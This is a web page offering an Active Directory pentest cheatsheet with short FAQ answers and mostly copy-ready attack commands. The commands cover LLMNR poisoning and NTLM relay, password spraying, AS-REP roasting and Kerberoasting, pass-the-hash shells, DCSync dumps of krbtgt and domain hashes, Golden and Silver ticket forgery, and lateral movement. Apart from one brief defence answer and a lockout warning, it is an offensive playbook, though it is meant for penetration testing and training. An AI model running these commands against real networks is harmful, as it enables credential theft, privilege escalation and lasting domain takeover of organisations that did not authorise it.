What is the difference between Kerberoasting and AS-REP roasting?

Kerberoasting targets accounts with an SPN and cracks the TGS (hashcat 13100). AS-REP roasting targets accounts with 'Do not require Kerberos pre-authentication' set and cracks the AS-REP (hashcat 18200). AS-REP roasting can even be done without any credentials if you know a valid username.

DCSync abuses the Directory Replication Service to ask a Domain Controller for the password hashes of any account — including krbtgt and the Domain Admins. It requires replication rights (usually held by Domain Admins or accounts with DS-Replication-Get-Changes). secretsdump.py performs it remotely.

What is NTLM relay and how do I defend against it?

NTLM relay captures an NTLM authentication (e.g. via Responder/LLMNR poisoning) and forwards it to another service to authenticate as the victim. Defend by enabling SMB signing, disabling LLMNR/NBT-NS, and enforcing LDAP channel binding and signing on Domain Controllers.

What tools do I need for Active Directory pentesting?

The core AD toolkit: NetExec (formerly CrackMapExec) for enumeration and lateral movement, Impacket (secretsdump, GetUserSPNs, psexec, ntlmrelayx), Responder for poisoning, BloodHound for path mapping, evil-winrm for shells, and hashcat for cracking. Most are pre-installed on Kali Linux.

Active Directory Cheatsheet 2026 — Attacks

Q: What is the first step when attacking Active Directory?

Enumeration. From an unauthenticated position, run responder to capture hashes and enum4linux-ng / netexec against the domain. Once you have any valid credentials, collect the full attack surface with BloodHound to map paths to Domain Admin.

Q: What is Kerberoasting?

Kerberoasting requests Kerberos service tickets (TGS) for accounts with a Service Principal Name (SPN). The ticket is encrypted with the service account's password hash, which you crack offline with hashcat mode 13100. Any domain user can request these tickets, making it a low-privilege-to-high-privilege attack.

Q: What is Pass-the-Hash?

Pass-the-Hash authenticates to a service using an NTLM hash instead of the plaintext password. Tools like netexec, evil-winrm and impacket accept the -H flag to authenticate with the hash directly — no cracking needed. It is the backbone of AD lateral movement.

Q: What is a Golden Ticket?

A Golden Ticket is a forged Kerberos TGT signed with the krbtgt account's hash. Because krbtgt signs all tickets in the domain, owning its hash lets you impersonate any user (including Domain Admin) indefinitely — the ultimate persistence. Get the krbtgt hash via DCSync first.

Q: What is BloodHound used for?

BloodHound ingests AD data (users, groups, sessions, ACLs) and graphs the shortest paths to Domain Admin. Collect data with SharpHound or the Python bloodhound-python collector, then run the 'Shortest Path to Domain Admins' query to plan your attack chain.

# Domain Enumeration

Map the domain before attacking. NetExec (formerly CrackMapExec) and Impacket are the workhorses. Start unauthenticated, then repeat with each credential you gather.

nxc smb 10.10.10.0/24

Sweep the subnet — identify hosts, domain name, SMB signing status

enum4linux-ng -A DC_IP

Full unauthenticated enumeration: users, shares, groups, password policy

nxc smb DC_IP -u '' -p '' --users

Null session user enumeration

ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

Enumerate all domain users via LDAP

nxc smb DC_IP -u user -p pass --shares

List readable/writable shares with valid creds

nxc smb DC_IP -u user -p pass --pass-pol

Dump the password policy (lockout threshold before spraying)

GetADUsers.py -all domain/user:pass -dc-ip DC_IP

Impacket — dump all users with last logon and creation date

# BloodHound — Map Paths to DA

BloodHound graphs the shortest attack path to Domain Admin. Collect the data, then let the graph plan your chain.

bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c all

Python collector — no need to run anything on the target

nxc ldap DC_IP -u user -p pass --bloodhound --collection-method all

Collect BloodHound data straight from NetExec

.\SharpHound.exe -c All

Windows collector run from a domain-joined foothold

💡 Tip: After importing, run the built-in query “Shortest Paths to Domain Admins” and mark owned nodes as Owned to reveal chains you can already walk.

# LLMNR/NBT-NS Poisoning & NTLM Relay

With no credentials at all, poison name resolution to capture NetNTLM hashes — then crack or relay them.

responder -I eth0 -wv

Poison LLMNR/NBT-NS/MDNS and capture NetNTLMv2 hashes

hashcat -m 5600 hashes.txt rockyou.txt

Crack captured NetNTLMv2 hashes offline

ntlmrelayx.py -tf targets.txt -smb2support

Relay captured auth to hosts without SMB signing

ntlmrelayx.py -t ldap://DC_IP --escalate-user user

Relay to LDAP to grant your user DCSync rights

# Password Spraying

Try one common password against every user — stay under the lockout threshold you dumped from the policy.

nxc smb DC_IP -u users.txt -p 'Season2026!' --continue-on-success

Spray a single password across all users

kerbrute passwordspray -d domain.local users.txt 'Welcome1'

Kerberos-based spray (quieter, no SMB lockout logs on some setups)

nxc smb DC_IP -u users.txt -p passwords.txt --no-bruteforce

Pair user[i] with password[i] (credential stuffing)

⚠️ Warning: Always check --pass-pol first. Locking out accounts is noisy and disruptive — never spray blindly.

# AS-REP Roasting

Accounts with “Do not require Kerberos pre-authentication” let you request an AS-REP and crack it offline — sometimes without any credentials.

GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip DC_IP

Find AS-REP roastable users without credentials

GetNPUsers.py domain/user:pass -request -dc-ip DC_IP

Authenticated — dump all AS-REP hashes in the domain

hashcat -m 18200 asrep.txt rockyou.txt

Crack AS-REP hashes offline

# Kerberoasting

Any authenticated user can request TGS tickets for SPN accounts. Service account passwords are often weak — crack them to escalate.

GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request

Request TGS tickets for all SPN accounts (Impacket)

nxc ldap DC_IP -u user -p pass --kerberoasting kerb.txt

Kerberoast directly from NetExec

hashcat -m 13100 kerb.txt rockyou.txt

Crack the TGS hashes offline

💡 Tip: Target high-value SPNs first — service accounts that are members of privileged groups give the biggest jump.

# Pass-the-Hash

Authenticate with an NTLM hash instead of a password — no cracking required. The backbone of AD lateral movement.

nxc smb TARGET -u Administrator -H aad3b435b51404ee:HASH

Validate the hash across hosts — look for Pwn3d!

evil-winrm -i TARGET -u Administrator -H HASH

Get an interactive PowerShell shell with the hash

psexec.py -hashes :HASH Administrator@TARGET

SYSTEM shell via Impacket PsExec using the hash

secretsdump.py -hashes :HASH Administrator@TARGET

Dump local SAM + LSA secrets from the target

# DCSync

With replication rights, ask a Domain Controller for any account's hash — including krbtgt, the key to Golden Tickets.

secretsdump.py domain/user:pass@DC_IP

Remote DCSync — dump all domain hashes

secretsdump.py domain/user:pass@DC_IP -just-dc-user krbtgt

Dump only the krbtgt hash (for Golden Ticket)

nxc smb DC_IP -u user -p pass --ntds

Dump the NTDS.dit database via NetExec

# Golden & Silver Tickets

Forge Kerberos tickets for total, persistent control. Golden = forged TGT (krbtgt hash). Silver = forged TGS for one service (service account hash).

ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain domain.local Administrator

Forge a Golden Ticket impersonating Administrator

export KRB5CCNAME=Administrator.ccache; psexec.py -k -no-pass domain.local/Administrator@DC

Use the forged ticket to get a SYSTEM shell

ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain domain.local -spn cifs/server Administrator

Forge a Silver Ticket for a specific service (stealthier — no DC contact)

# Lateral Movement & Shells

Move between hosts with the credentials and tickets you've collected.

Tool	Access	Notes
psexec.py	SYSTEM	Noisy, creates a service — most detected
wmiexec.py	User	Semi-interactive, no service (quieter)
smbexec.py	SYSTEM	No file dropped to disk
evil-winrm	User	Full PowerShell — needs WinRM (5985)
atexec.py	SYSTEM	Runs via scheduled task

wmiexec.py domain/user:pass@TARGET

Quiet semi-interactive shell over WMI

evil-winrm -i TARGET -u user -p pass

Interactive PowerShell over WinRM

nxc smb TARGETS.txt -u user -p pass -x "whoami"

Run a command across many hosts at once

❓ Active Directory Pentest FAQ

What is the first step when attacking Active Directory? +

Enumeration. Unauthenticated, run responder to capture hashes and enum4linux-ng/nxc against the domain. Once you have any valid creds, collect the attack surface with BloodHound to map paths to Domain Admin.

What is Kerberoasting? +

Requesting Kerberos TGS tickets for accounts with an SPN. The ticket is encrypted with the service account's hash, which you crack offline with hashcat -m 13100. Any domain user can request them — a classic low-to-high privilege attack.

Kerberoasting vs AS-REP roasting? +

Kerberoasting targets SPN accounts and cracks the TGS (-m 13100). AS-REP roasting targets accounts without Kerberos pre-auth and cracks the AS-REP (-m 18200) — and can work with no credentials if you know a valid username.

What is Pass-the-Hash? +

Authenticating with an NTLM hash instead of a plaintext password. Tools like nxc, evil-winrm and Impacket accept -H to use the hash directly — no cracking needed.

What is DCSync? +

Abusing Directory Replication to ask a DC for any account's hash — including krbtgt and Domain Admins. It needs replication rights; secretsdump.py performs it remotely.

What is a Golden Ticket? +

A forged TGT signed with the krbtgt hash. Since krbtgt signs every ticket, owning its hash lets you impersonate anyone (incl. Domain Admin) indefinitely — the ultimate persistence. Get the krbtgt hash via DCSync first.

What is BloodHound used for? +

It graphs the shortest paths to Domain Admin from AD data (users, groups, sessions, ACLs). Collect with SharpHound or bloodhound-python, then run “Shortest Path to Domain Admins”.

What tools do I need for AD pentesting? +

NetExec (ex-CrackMapExec), Impacket (secretsdump, GetUserSPNs, psexec, ntlmrelayx), Responder, BloodHound, evil-winrm and hashcat. Most ship with Kali Linux.

📚 Related Resources

Linux Privilege Escalation Cheatsheet — 80+ techniques for the Linux hosts you'll meet in the domain
Windows Privilege Escalation Cheatsheet — Get SYSTEM on a workstation before pivoting into the domain
Hashcat Cheatsheet — Crack the Kerberoast and AS-REP hashes you harvest here
Nmap Cheatsheet — Find the Domain Controller and its 88/389/445 services first
OSCP Cheatsheet — The OSCP+ exam now includes a full Active Directory set
Pentesting Glossary — Kerberos, NTLM, SPN, TGT and 60+ key terms defined

✨

AI-Assisted Pentest Report

Turn your AD compromise into a professional PDF report. AI auto-fills CVE, CVSS and severity.

Try for free →

Want all 12,020+ commands?

This AD cheatsheet is one branch of the map. Pentest Mindmap organizes 12,020+ commands across 34 categories — recon to post-exploitation — with instant search and one-click copy.

Start free →

Active Directory Cheatsheet 2026

Quick Navigation

# Domain Enumeration

# BloodHound — Map Paths to DA

# LLMNR/NBT-NS Poisoning & NTLM Relay

# Password Spraying

# AS-REP Roasting

# Kerberoasting

# Pass-the-Hash

# DCSync

# Golden & Silver Tickets

# Lateral Movement & Shells

❓ Active Directory Pentest FAQ

📚 Related Resources

Want all 12,020+ commands?